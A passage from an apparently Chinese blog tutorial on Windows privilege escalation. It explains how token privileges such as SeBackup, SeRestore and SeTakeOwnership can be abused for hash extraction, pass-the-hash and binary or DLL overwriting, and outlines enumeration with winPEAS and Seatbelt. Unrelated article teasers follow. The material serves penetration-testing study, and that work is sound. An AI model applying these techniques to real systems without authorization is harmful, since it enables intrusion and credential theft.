SeAssignPrimaryPrivilege权限与SeImpersonatePrivilege类似,允许用户将访问令牌分配给新进程。 该权限同样可通过 Juicy Potato 漏洞利用工具滥用。

SeBackupPrivilege

SeBackupPrivilege权限授予用户读取系统中所有对象的权限,无论这些对象的 ACL 如何配置。 利用此权限,用户可访问敏感文件,或从注册表中提取哈希(进而破解哈希或用于哈希传递攻击)。

SeRestorePrivilege

SeRestorePrivilege权限授予用户写入系统中所有对象的权限,无论这些对象的 ACL 如何配置。 滥用此权限的方式有多种:

  • 修改服务二进制文件(service binaries)

  • 覆盖 SYSTEM 进程使用的 DLL

  • 修改注册表设置(registry settings)

SeTakeOwnershipPrivilege

SeTakeOwnershipPrivilege权限允许用户获取对象的所有权(即WRITE_OWNER权限)。 获取对象所有权后,可修改该对象的 ACL,为自己授予写入权限,后续操作与滥用SeRestorePrivilege相同。

其他权限(进阶)

  • SeTcbPrivilege

  • SeCreateTokenPrivilege

  • SeLoadDriverPrivilege

  • SeDebugPrivilegegetsystem命令使用此权限)

权限提升策略(Privilege Escalation Strategy)

枚举(Enumeration)

  1. 检查当前用户(使用whoami)和所属组(使用net user <用户名>

  2. 运行 winPEAS,使用fastsearchfastcmd选项

  3. 同时运行 Seatbelt 及其他脚本

  4. 若脚本运行失败且原因不明,可手动运行本课程中的命令,或参考网上的 Windows 权限提升速查表(如:PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalation.md at master · swisskyrepo/PayloadsAllTheThings · GitHub)

策略建议 1

花时间阅读枚举结果:若 winPEAS 或其他工具发现可疑内容,做好记录。 通过创建 “权限提升所需条件清单”,避免陷入无效尝试(rabbit holes)。

策略建议 2

浏览当前用户桌面及其他常见目录(如C:\C:\Program Files)中的文件。 阅读发现的可疑文件 —— 其中可能包含有助于权限提升的有用信息。

策略建议 3

优先尝试步骤较少的方法(如注册表漏洞利用、服务配置错误利用等)。 仔细查看管理员进程(admin processes),枚举其版本并搜索相关漏洞。 检查是否存在可转发到攻击机(attacking machine)的内部端口。

策略建议 4

若仍未获取管理员 shell,重新阅读完整的枚举结果,高亮显示异常内容(如不熟悉的进程名、文件名或用户名)。 此时可开始考虑使用 Kernel 漏洞利用(Kernel Exploits)。

mysql的udf提权

参考文献:

Mysql之UDF提权-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/920922.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/920922.shtml
英文地址,请注明出处:http://en.pswp.cn/news/920922.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

毕业项目推荐:47-基于yolov8/yolov5/yolo11的焊缝质量检测识别系统(Python+卷积神经网络)

文章目录 项目介绍大全&#xff08;可点击查看&#xff0c;不定时更新中&#xff09;概要一、整体资源介绍技术要点功能展示&#xff1a;功能1 支持单张图片识别功能2 支持遍历文件夹识别功能3 支持识别视频文件功能4 支持摄像头识别功能5 支持结果文件导出&#xff08;xls格式…

Java实现图像像素化

使用Java实现图像像素化艺术效果&#xff1a;从方案到实践的完整指南引言&#xff1a;像素艺术的复兴与编程实现 在当今高清、视网膜屏幕的时代&#xff0c;像素艺术&#xff08;Pixel Art&#xff09;作为一种复古的数字艺术形式&#xff0c;反而焕发出了新的生命力。从独立游…

SpringBoot 自研运行时 SQL 调用树,3 分钟定位慢 SQL!

在复杂的业务系统中&#xff0c;一个接口往往会执行多条SQL&#xff0c;如何直观地看到这些SQL的调用关系和执行情况&#xff1f; 本文将使用SpringBoot MyBatis拦截器构建一个SQL调用树可视化系统。 项目背景 在日常开发中&#xff0c;我们经常遇到这样的场景&#xff1a; …

部署 Go 项目的 N 种方法

Go 语言&#xff08;Golang&#xff09;以其简单、高效和易于部署的特点&#xff0c;成为了很多企业开发和部署服务的首选语言。无论是微服务架构&#xff0c;还是命令行工具&#xff0c;Go 的编译方式和标准库使得部署变得更加轻松。本文将介绍部署 Go 语言项目的几种常见方法…

【ARM】MDK工程切换高版本的编译器后出现error: A1167E\A1159E\A1137E\A1517E\A1150E报错

1、 文档目标解决工程从Compiler 5切换到Compiler 6进行编译时出现一些非语法问题上的报错。2、 问题场景对于一些使用Compiler 5进行编译的工程&#xff0c;要切换到Compiler 6进行编译的时候&#xff0c;原本无任何报错警告信息的工程在使用Compiler 6进行编译后出现了一些非…

AtCoder Beginner Contest 421

文章目录A MisdeliveryB Fibonacci ReversedC AlternatedD RLE MovingE YachtF Erase between X and YG Increase to make it IncreasingAtCoder Beginner Contest 421A Misdelivery Mansion AtCoder has N rooms numbered from room 1 to room N. Each room i is inhabited b…

数据结构:冒泡排序 (Bubble Sort)

目录 从最简单的操作开始 如何利用这个原子操作实现一个具体的小目标&#xff1f; 我们来手动模拟一下&#xff1a; 如何从一个小目标扩展到最终目标&#xff1f; 代码的逐步完善 第一阶段&#xff1a;定义函数框架和我们需要的“原子操作” 第二阶段&#xff1a;实现“…

教育项目管理工具新趋势:可视化与自动化如何提升效率?

课程项目不同于普通商业项目&#xff0c;它涉及 “教研设计→内容开发→师资准备→市场推广→学员服务” 全链路&#xff0c;环节多、角色杂、周期跨度大。传统的 Excel 表格、口头沟通不仅难以追踪进度&#xff0c;更易造成信息断层。而看板工具凭借 “可视化流程、轻量化协作…

计算两个二值图像的交集计算交点数量的基础上,进一步使用 DBSCAN 算法对交点进行聚

好的&#xff0c;如果你需要在计算交点数量的基础上&#xff0c;进一步使用 DBSCAN 算法对交点进行聚类&#xff0c;以合并距离较近的点&#xff0c;可以按照以下步骤实现&#xff1a; 计算交点&#xff1a;使用 cv2.bitwise_and 计算两个二值图像的交集&#xff0c;并提取交点…

Linux中的IP命令详解

华子目录 1.ip命令是什么1.1ip命令的由来1.2ip命令的安装包1.2ip选项&#xff08;基本不用&#xff09; 2.查看网络信息2.1显示全部网络接口信息2.2显示单个网络接口信息2.3显示单个接口状态2.4查看路由表2.5查看arp缓存 3.设置网卡ip地址3.1启用或停用网卡3.2设置默认网关3.3新…

如何解决pip安装报错ModuleNotFoundError: No module named ‘tox’问题

【Python系列Bug修复PyCharm控制台pip install报错】如何解决pip安装报错ModuleNotFoundError: No module named ‘tox’问题 摘要 在使用 PyCharm 2025 控制台执行 pip install 命令时&#xff0c;开发者经常会遇到如下错误&#xff1a; ModuleNotFoundError: No module nam…

拆分TypeScript项目的学习收获:处理编译缓存和包缓存,引用本地项目,使用相对路径

最近需要将工作中的一个TS包拆出一部分代码&#xff0c;以便在多个团队和项目中共享。原以为这会是一项特别简单的工作&#xff0c;但是也花了两天才大致拆成功。因此记录一下&#xff0c;也给有类似需求的同学一点经验。 所拆项目的大致功能&#xff1a;整个项目的结构大致分为…

瑞芯微RK3576平台FFmpeg硬件编解码移植及性能测试实战攻略

本文介绍瑞芯微RK3576平台&#xff0c;FFmpeg硬件编解码移植及性能测试方法。 FFmpeg简介与实测数据 FFmpeg简介 FFmpeg是一套多媒体框架&#xff0c;能够解码、编码、转码、复用、解复用、流、过滤和播放数字音频、视频&#xff0c;提供了录制、转换以及流化音视频的完整解…

【网络安全入门基础教程】网络安全零基础学习方向及需要掌握的技能

最近总有同学问我&#xff0c;0基础怎么学网络安全&#xff1f;0基础可以转行做网络安全吗&#xff1f;网络安全有哪些学习方向&#xff1f;每个方向需要掌握哪些技能&#xff1f;今天给大家简单写一下。 我的回答是先了解&#xff0c;再入行。 具体怎么做呢&#xff1f; 首…

Altium Designer中的Net-Tie:解决多网络合并与电气隔离的利器

Altium Designer中的Net-Tie:解决多网络合并与电气隔离的利器 在复杂的PCB设计中,我们常常会遇到一些特殊的电气连接需求。例如,需要将两个或多个逻辑上独立但物理上需要连接的网络(如不同电源域的GND)在特定点进行连接(单点连接),同时又要保持其网络标识的独立性。 …

计算机毕设项目 基于Python与机器学习的B站视频热度分析与预测系统 基于随机森林算法的B站视频内容热度预测系统

&#x1f495;&#x1f495;作者&#xff1a;计算机源码社 &#x1f495;&#x1f495;个人简介&#xff1a;本人八年开发经验&#xff0c;擅长Java、Python、PHP、.NET、Node.js、Spark、hadoop、Android、微信小程序、爬虫、大数据、机器学习等&#xff0c;大家有这一块的问题…

百胜软件×OceanBase深度合作,赋能品牌零售数字化实践降本增效

8月28日&#xff0c;由OceanBase主办的“2025零售数据底座创新大会”在上海举行。大会重磅发布了由爱分析、OceanBase携手王歆、沈刚两位行业专家联合编制的《零售一体化云数据库白皮书》。白皮书系统梳理了从“大促流量应对”到“AI应用落地”的全流程方法论&#xff0c;并为不…

2025年Java在中国开发语言排名分析报告

引言 在软件定义世界的2025年&#xff0c;编程语言的战略价值已超越工具属性&#xff0c;成为产业数字化转型的核心支撑与开发者思维模式的延伸载体。TIOBE指数作为全球技术市场变化的重要晴雨表&#xff0c;通过追踪工程师分布、课程设置、供应商动态及搜索引擎数据&#xff0…

TDengine 日期时间函数 DAYOFWEEK 使用手册

DAYOFWEEK 函数使用手册 函数描述 DAYOFWEEK 函数用于返回指定日期是一周中的第几天。该函数遵循标准的星期编号约定&#xff0c;返回值范围为 1-7&#xff0c;其中&#xff1a; 1 星期日 (Sunday)2 星期一 (Monday)3 星期二 (Tuesday)4 星期三 (Wednesday)5 星期四 (T…

从RNN到BERT

目录 序列模型简介RNN循环神经网络LSTM长短期记忆网络Transformer架构BERT模型详解实践项目 序列模型简介 什么是序列数据&#xff1f; 序列数据是按照特定顺序排列的数据&#xff0c;其中元素的顺序包含重要信息。常见的序列数据包括&#xff1a; 文本&#xff1a;单词或字…